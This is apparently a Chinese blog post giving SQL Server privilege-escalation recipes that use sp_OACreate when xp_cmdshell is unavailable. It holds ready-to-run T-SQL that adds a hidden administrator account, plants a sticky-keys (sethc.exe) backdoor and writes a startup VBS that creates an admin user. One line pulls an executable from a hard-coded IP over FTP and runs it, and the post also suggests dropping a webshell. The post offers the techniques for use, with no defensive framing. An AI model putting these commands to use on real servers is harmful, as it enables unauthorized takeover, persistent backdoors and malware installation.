在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

 
首先
 
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;
 
打开组件,2005中默认关闭
 
1)直接加用户
 
2000系统:
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add'
 
  
 
xp和2003系统:
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'
 
  
 
2)粘贴键替换
 
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
 
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
 
需要同时具备sp_oacreate 和sp_oamethod 两个功能组件
 
3)直接传马
 
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113 > cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q /f&del 1.exe /f /q'--
 
4)启动项写入加账户脚本
 
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
 
5)如果该服务器有网站,则直接用方法4)写入一句话

SP_OACreate提权经验的更多相关文章

  1. [转载]SQL Server提权系列

    本文原文地址:https://www.cnblogs.com/wintrysec/p/10875232.html 一.利用xp_cmdshell提权 xp_cmdshell默认是关闭的,可以通过下面的 ...

  2. 网站sqlserver提权操作

    在入侵过程中,得到SQLserver的权限,想进一步得到system权限的方法总结 *************************** 利用xp_cmdshell **************** ...

  3. 一次利用MSSQL的SA账户提权获取服务器权限

    遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...

  4. WIN提权总结【本地存档-转载】

    [ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1 ...

  5. MSSQL 漏洞利用与提权

    1.SA口令的获取 webshell或源代码的获取 源代码泄露 嗅探(用CAIN等工具嗅探1433数据库端口) 口令暴力破解 2.常见SQL server 提权命令 查看数据库的版本(select @ ...

  6. soap注入某sql2008服务器结合msf进行提权

    原文作者:陈小兵 在实际成功渗透过程中,漏洞的利用都是多个技术的融合,最新技术的实践,本次渗透利用sqlmap来确认注入点,通过sqlmap来获取webshell,结合msf来进行ms16-075的提 ...

  7. 暴破助攻提权:ruadmin

    i春秋作家:yangyangwithgnu 1 缘由 千辛万苦拿下的 webshell 不是 www-data 用户就是 networkservice 权限,要想拓展攻击面.扩大战果,提权,是必经之路 ...

  8. 1433修复命令大全提权错误大全_cmd_shell组件修复

    net user SQLDebugger list /add net localgroup administrators SQLDebugger /add Error Message:未能找到存储过程 ...

  9. 滥用DNSAdmins权限进行Active Directory提权

      0x00 前言 除了在实现自己的DNS服务器功能之外,Microsoft还为该服务器实现自己的管理协议以便于管理与Active Directory域集成.默认情况下,域控制器也是DNS服务器; 大 ...

随机推荐

  1. C# 编写Windows Service(windows服务程序)

    C# 编写Windows Service(windows服务程序)   Windows Service简介: 一个Windows服务程序是在Windows操作系统下能完成特定功能的可执行的应用程序.W ...

  2. 一些实用的php库

    Idiorm – 轻量级ORM库 Snappy – 快照/PDF库 Buzz – 简单的HTTP请求库 Omnipay – 支付处理库 ShellWrap – 优美的命令行包装器

  3. js中文乱码问题,编码设为utf-8,但还是乱码问题。

    dw中编辑js的时候使用另存为菜单,在存储的时候勾选上一个叫[包括Unicode签名(BOM)(S)]的选项,然后存储.再次在浏览器源码中查看的时候js的中文就正常显示了,查看属性,编码也是UTF-8 ...

  4. table中background背景图片自动拉伸

    <table  background="login/image/jiaozhouwan.jpg" style="background-size: 100% 100% ...

  5. Percona XtraBackup介绍

    Percona XtraBackup开源的.免费的mysql热备软件,可以执行无阻塞备份InnoDB和XtraDB数据库. Percona XtraBackup有以下优点: ·备份快速.可靠 ·备份期 ...

  6. 【转】java原理—反射机制

    一.什么是反射:反射的概念是由Smith在1982年首次提出的,主要是指程序可以访问.检测和修改它本身状态或行为的一种能力.这一概念的提出很快引发了计算机科学领域关于应用反射性的研究.它首先被程序语言 ...

  7. ROC 曲线简要解释

    阳性 (P, positive)阴性 (N, Negative)真阳性 (TP, true positive):正确的肯定.又称:命中 (hit)真阴性 (TN, true negative):正确的 ...

  8. update document in mongodb using java -摘自网络

    update document in mongodb using java: Mongodb driver provides functionality to update document in m ...

  9. SQL SERVER 的排序规则

    有时候查询数据库的时候会发现(比如做重名检查的时候):数据库的查询时对大小写不敏感的,也就是 A 和 a 是一样的. 也就是说 select * from tabletest where name = ...

  10. 【Unity】9.3 粒子系统生成器详解

    分类:Unity.C#.VS2015 创建日期:2016-05-02 一.简介 上一节已经介绍过了在Unity 5.x中两种创建粒子效果的方式(方式1.方式2). 这一节我们主要学习第2种方式的基本概 ...